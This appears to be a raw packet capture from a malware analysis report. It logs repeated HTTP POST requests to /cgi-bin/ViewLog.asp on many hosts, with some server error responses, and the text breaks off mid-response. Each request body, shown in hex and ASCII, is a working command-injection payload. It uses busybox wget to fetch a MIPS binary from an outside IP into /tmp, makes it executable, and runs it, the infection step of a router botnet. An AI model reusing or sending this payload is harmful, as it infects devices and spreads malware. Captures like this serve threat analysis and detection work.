                                                Nov 23, 2023 05:23:05.123640060 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                900192.168.2.154666862.94.238.778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.254959106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.455317020 CET567INHTTP/1.1 503 Service Unavailable
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:23:05 GMT
                                                Connection: close
                                                Content-Length: 326
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                901192.168.2.155460831.136.14.1418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.301326036 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.879935980 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.031908989 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.495842934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.103723049 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                902192.168.2.155639831.222.233.68080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.433526039 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.097568035 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                903192.168.2.155491894.208.159.1548080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.458046913 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.880086899 CET458INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 03:30:57 GMT
                                                Server: Apache
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                904192.168.2.153810494.192.92.2108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.474431038 CET357INHTTP/1.1 400 Bad Request
                                                Server: sky_router
                                                X-Frame-Options: Deny
                                                Cache-Control: no-cache
                                                Date: Thu, 23 Nov 2023 04:23:05 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                905192.168.2.153299694.121.70.408080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.478162050 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                906192.168.2.154958662.29.114.1688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.492441893 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                907192.168.2.154059231.136.164.2198080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.638700008 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.199919939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.319885015 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.751847982 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:14.359690905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                908192.168.2.154849495.110.141.1018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:23:05.680936098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.879116058 CET1340INHTTP/1.1 404
                                                Content-Type: text/html;charset=UTF-8
                                                Content-Length: 1502
                                                Date: Thu, 23 Nov 2023 04:23:04 GMT
                                                Keep-Alive: timeout=20
                                                Connection: keep-alive
                                                Server:
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2e 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 33 32 36 32 39 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 39 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 33 32 37 35 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 2f 2a 20 53 74 61 6e 64 61 72 64 20 2a 2f 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 36 62 33 34 63 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 20 2f 2a 20 53 74 61 6e 64 61 72 64 20 2a 2f 0a 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 